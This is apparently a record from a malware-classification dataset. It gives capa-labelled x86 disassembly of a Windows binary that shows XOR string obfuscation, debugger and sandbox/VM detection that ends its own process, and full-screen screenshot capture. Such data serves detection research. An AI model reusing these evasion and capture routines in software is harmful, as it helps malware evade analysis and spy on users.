joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b6d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
mov dword [ebp - 4], 0x1009786
xor ecx, ecx
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 4], al
inc ecx
cmp ecx, 2
jb 0x40b6e0
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push esi
lea eax, [ebp + 8]
mov byte [ebp - 1], 0
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.004e1ce0
mov esi, eax
add esp, 8
test esi, esi
je 0x40b72b
push 2
push 0
push esi
call fcn.004e5ab6
push esi
call fcn.004e186b
push esi
mov edi, eax
call fcn.004e5568
add esp, 0x14
mov ecx, dword [ebp + 0x1c]
pop esi
cmp ecx, 0x10
jb 0x40b75c
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b752
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b763
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
call fcn.004e1130
int3

Function at 0x40b7b0
Capabilities:
Check os version
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0x1a], 0xb09a81a6
xor ecx, ecx
mov dword [ebp - 0x16], 0x9eac8d9d
mov dword [ebp - 0x12], 0x90978e8e
mov word [ebp - 0xe], 0x6e
mov byte [ebp - 0xc], 1
nop word [eax + eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40b7e0
mov byte [ebp - 0xc], 0
xor ecx, ecx
mov dword [ebp - 0xb], 0x9b9281ba
mov dword [ebp - 7], 0x979ed794
mov word [ebp - 3], 0x90
mov byte [ebp - 1], 1
nop dword [eax + eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x40b810
lea eax, [ebp - 0xb]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1a]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40b845
lea ecx, [ebp - 0xb8]
push ecx
call eax
jmp 0x40b852
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0xb4]
cmp eax, 0xb
je 0x40b862
cmp eax, 0xa
jne 0x40b871
cmp dword [ebp - 0xb0], 0
je 0x40b88b
xor al, al
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x40b86b
mov eax, dword [ebp - 0xb0]
cmp eax, 3
je 0x40b88b
cmp eax, 2
sete al
mov esp, ebp
pop ebp
ret
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x40b940
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x1009786
xor ecx, ecx
nop dword [eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 4], al
inc ecx
cmp ecx, 2
jb 0x40b950
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push ebx
lea eax, [ebp + 8]
mov byte [ebp - 1], 0
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.004e1ce0
add esp, 8
test eax, eax
je 0x40b98b
push eax
call fcn.004e5568
add esp, 4
mov bl, 1
jmp 0x40b98d
xor bl, bl
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40b9bd
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b9b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b9c4
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e1130
int3
Function at 0x40b9d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x535230
mov esi, ecx
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40ba3e
test esi, esi
je 0x40ba27
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b9f2
sub ecx, edx
je 0x40ba27
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40ba23
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40ba23
cmp eax, 0x20
je 0x40ba23
cmp eax, 0x45
je 0x40ba23
cmp eax, 0x24
jne 0x40ba27
mov bl, 1
jmp 0x40ba29
xor bl, bl
push 0x535230
call fcn.004db1a3
add esp, 4
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call fcn.004dae3b
int3

Function at 0x40ba50
Capabilities:
Create directory

Disassembly:
push esi
push 0x535230
mov esi, ecx
call fcn.004db192
add esp, 4
test eax, eax
jne 0x40ba7f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x535230
mov esi, eax
call fcn.004db1a3
add esp, 4
mov eax, esi
pop esi
ret
push eax
call fcn.004dae3b
int3
Function at 0x40c260
Capabilities:
Capture screenshot
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
push esi
push edi
push 0
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], ecx
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], 0x64
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
jne 0x40c467
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push 0
mov edi, eax
call esi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esp + 0x14], eax
test eax, eax
je 0x40c45d
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40c451
push edi
push esi
push dword [esp + 0x1c]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0x20], eax
test eax, eax
je 0x40c447
push eax
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [esp + 0x20]
push edi
push esi
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40c3f1
push eax
call fcn.004ea8ac
mov edi, eax
add esp, 4
mov dword [esp + 0x18], edi
test edi, edi
je 0x40c3f1
push edi
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
xor esi, esi
cmp dword [esp + 8], esi
jbe 0x40c3e8
add edi, 0x30
nop dword [eax]
mov eax, dword [edi]
mov ecx, str.image_png
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40c3cd
test dx, dx
je 0x40c3c9
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40c3cd
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c3a7
xor eax, eax
jmp 0x40c3d2
sbb eax, eax
or eax, 1
test eax, eax
je 0x40c46f
inc esi
add edi, 0x4c
cmp esi, dword [esp + 8]
jb 0x40c3a0
mov edi, dword [esp + 0x18]
push edi
call fcn.004ea156
add esp, 4
movups xmm0, xmmword [0x50cab8]
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x24]
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x54], 1
push eax
push dword [esp + 0x30]
movups xmmword [esp + 0x60], xmm0
push esi
mov dword [esp + 0x78], 4
mov dword [esp + 0x74], 1
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [esp + 0x20]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [esp + 0x14]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [esp + 0x2c]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x18]
imul eax, esi, 0x4c
push ecx
movups xmm0, xmmword [eax + ecx]
movups xmmword [esp + 0x44], xmm0
jmp 0x40c3e9
Function at 0x40d440
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xc], 0
je 0x40d462
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0xb
jb 0x40d450
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
ret
Function at 0x40e850
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x11], 0
je 0x40e872
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x10
jb 0x40e860
mov byte [esi + 0x11], 0
mov eax, esi
pop esi
ret

Function at 0x40e880
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x10], 0
je 0x40e8a2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0xf
jb 0x40e890
mov byte [esi + 0x10], 0
mov eax, esi
pop esi
ret

Function at 0x40e8b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 9], 0
je 0x40e8d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 8
jb 0x40e8c0
mov byte [esi + 9], 0
mov eax, esi
pop esi
ret

Function at 0x40e8e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xb], 0
je 0x40e902
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0xa
jb 0x40e8f0
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret

Function at 0x40e910
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xd], 0
je 0x40e932
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0xc
jb 0x40e920
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
ret

Function at 0x40e940
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x13], 0
je 0x40e962
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x12
jb 0x40e950
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
ret

Function at 0x40e970
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x14], 0
je 0x40e992
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x13
jb 0x40e980
mov byte [esi + 0x14], 0
mov eax, esi
pop esi
ret

Function at 0x40e9a0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x18], 0
je 0x40e9c2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x17
jb 0x40e9b0
mov byte [esi + 0x18], 0
mov eax, esi
pop esi
ret

Function at 0x40e9d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x15], 0
je 0x40e9f2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x14
jb 0x40e9e0
mov byte [esi + 0x15], 0
mov eax, esi
pop esi
ret

Function at 0x40ea00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x22], 0
je 0x40ea22
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x21
jb 0x40ea10
mov byte [esi + 0x22], 0
mov eax, esi
pop esi
ret
Function at 0x40ea30
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xf], 0
je 0x40ea52
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0xe
jb 0x40ea40
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
ret
Function at 0x40ff60
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 7], 0
je 0x40ff82
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 6
jb 0x40ff70
mov byte [esi + 7], 0
mov eax, esi
pop esi
ret
Function at 0x413a70
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1d], 0
je 0x413a92
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x1c
jb 0x413a80
mov byte [esi + 0x1d], 0
mov eax, esi
pop esi
ret
Function at 0x4146b0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4146f0
Capabilities:
Encode data using xor
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x100
lea eax, [ebp - 0x118]
mov dword [ebp - 0x10], 0x100
push 0
push eax
mov dword [ebp - 0x14], 0x100
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 9], 0x999e9abe
xor ecx, ecx
mov dword [ebp - 5], 0x9f96bc
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x414770
lea eax, [ebp - 9]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.004dd4e0
add esp, 8
test eax, eax
jne 0x4147d6
mov dword [ebp - 8], 0xcebab4bc
xor ecx, ecx
mov dword [ebp - 4], 0x100b1ac
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x4147a8
lea eax, [ebp - 8]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004dd4e0
add esp, 8
test eax, eax
jne 0x4147d6
xor al, al
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x414830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x10]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x10], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [ebp - 8]
shr ebx, 0x1f
and bl, 1
mov dword [ebp - 0xe], 0x9984909f
mov dword [ebp - 0xa], 0xc9c9959d
xor eax, eax
mov dword [ebp - 6], 0x939299d2
mov word [ebp - 2], 0x100
lea ecx, [eax - 0xc]
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 0xc
jb 0x414881
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
movzx ecx, bl
mov eax, 1
pop edi
cmove ecx, eax
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414af0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x29], 0
je 0x414b12
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x28
jb 0x414b00
mov byte [esi + 0x29], 0
mov eax, esi
pop esi
ret

Function at 0x414b20
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x414b42
push 0x15
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x414b44
mov bl, 1
mov dword [ebp - 5], 0xaacfb7
xor ecx, ecx
mov byte [ebp - 1], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 5], al
inc ecx
cmp ecx, 3
jb 0x414b51
push 0x105
lea eax, [ebp - 0x120]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x105
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 5]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x414cc0
mov dword [ebp - 9], 0x8f99b7a2
xor ecx, ecx
mov dword [ebp - 5], 0x8c8bbc
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x414bb0
mov byte [ebp - 1], 0
lea ecx, [ebp - 9]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414bf0
test dl, dl
je 0x414bec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414bf0
add eax, 2
add ecx, 2
test dl, dl
jne 0x414bd0
xor eax, eax
jmp 0x414bf5
sbb eax, eax
or eax, 1
test eax, eax
je 0x414cb9
mov dword [ebp - 8], 0x8f99b7a2
xor ecx, ecx
mov dword [ebp - 4], 0x100bfab
nop dword [eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x414c10
mov byte [ebp - 1], 0
lea ecx, [ebp - 8]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414c50
test dl, dl
je 0x414c4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414c50
add eax, 2
add ecx, 2
test dl, dl
jne 0x414c30
xor eax, eax
jmp 0x414c55
sbb eax, eax
or eax, 1
test eax, eax
je 0x414cb9
mov dword [ebp - 0xb], 0x8f99b7a2
xor ecx, ecx
mov dword [ebp - 7], 0x889f8cbf
mov word [ebp - 3], 0x88
mov byte [ebp - 1], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x414c73
mov byte [ebp - 1], 0
lea ecx, [ebp - 0xb]
lea eax, [ebp - 0x120]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414cb0
test dl, dl
je 0x414cac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414cb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x414c90
xor eax, eax
jmp 0x414cb5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x414cc0
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415ad0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2b], 0
je 0x415af2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x2a
jb 0x415ae0
mov byte [esi + 0x2b], 0
mov eax, esi
pop esi
ret

Function at 0x415b00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1a], 0
je 0x415b22
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0xc]
inc eax
xor byte [edx], cl
cmp eax, 0x19
jb 0x415b10
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
ret

Function at 0x415b70
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x502f6b
push eax
mov dword fs:[0], esp
mov eax, dword [0x535614]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x415bf8
or eax, 1
mov dword [0x535614], eax
xorps xmm0, xmm0
mov dword [0x53562c], 2
movups xmmword [0x53561c], xmm0
mov eax, 0x2f5c
mov dword [0x535630], 0xf
push 0x50a340
mov word [0x53561c], ax
mov byte [0x53561e], 0
call fcn.004dbe7c
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x415c02
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415cdf
cmp dword [0x535630], 0x10
mov eax, 0x53561c
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x53561c]
cmp dword [esi + 0x14], 0x10
jb 0x415c32
mov ecx, dword [esi]
push dword [0x53562c]
mov edx, edi
push eax
push ecx
call fcn.0046a330
add esp, 0xc
cmp eax, 0xffffffff
je 0x415cb6
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x415c6d
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402810
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.00415b70
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x415cb6
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x415cac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x415cf4
push ecx
push edx
call fcn.004dbe91
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x415cbe
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1130
int3
Function at 0x415f50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415fa4
sub ecx, edx
lea eax, [ebp - 0x230]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00402810
mov dword [ebp - 0xd], 0x969190b8
xor ecx, ecx
mov dword [ebp - 9], 0x979fb194
mov dword [ebp - 5], 0x8c988c
mov byte [ebp - 1], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 0xb
jb 0x415fd8
lea edx, [ebp - 0xd]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x415ff0
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0xd]
mov edi, dword [ebp - 0x28]
sub edx, ecx
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
push edx
cmp ebx, 0x10
mov edx, esi
push eax
cmovae ecx, edi
push 0
call fcn.0046a3c0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4160ed
mov dword [ebp - 0xe], 0x859385bb
xor ecx, ecx
mov dword [ebp - 0xa], 0x9595ba99
mov dword [ebp - 6], 0x8b9d9892
mov word [ebp - 2], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x416042
lea edx, [ebp - 0xe]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x416060
sub edx, ecx
lea eax, [ebp - 0xe]
push edx
cmp ebx, 0x10
lea ecx, [ebp - 0x28]
push eax
cmovae ecx, edi
mov edx, esi
push 0
call fcn.0046a3c0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4160ed
mov dword [ebp - 0xb], 0x87a3b0bd
xor ecx, ecx
mov dword [ebp - 7], 0x9e8e989c
mov word [ebp - 3], 0x8e
mov byte [ebp - 1], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x4160a2
lea esi, [ebp - 0xb]
mov byte [ebp - 1], 0
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4160c0
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xb]
sub esi, ecx
cmp ebx, 0x10
push esi
push eax
lea ecx, [ebp - 0x28]
cmovae ecx, edi
push 0
call fcn.0046a3c0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4160ed
xor bl, bl
jmp 0x4160ef
mov bl, 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x41611c
inc ecx
mov eax, edi
cmp ecx, 0x1000
jb 0x416112
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416125
push ecx
push edi
call fcn.004dbe91
add esp, 8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e1130
int3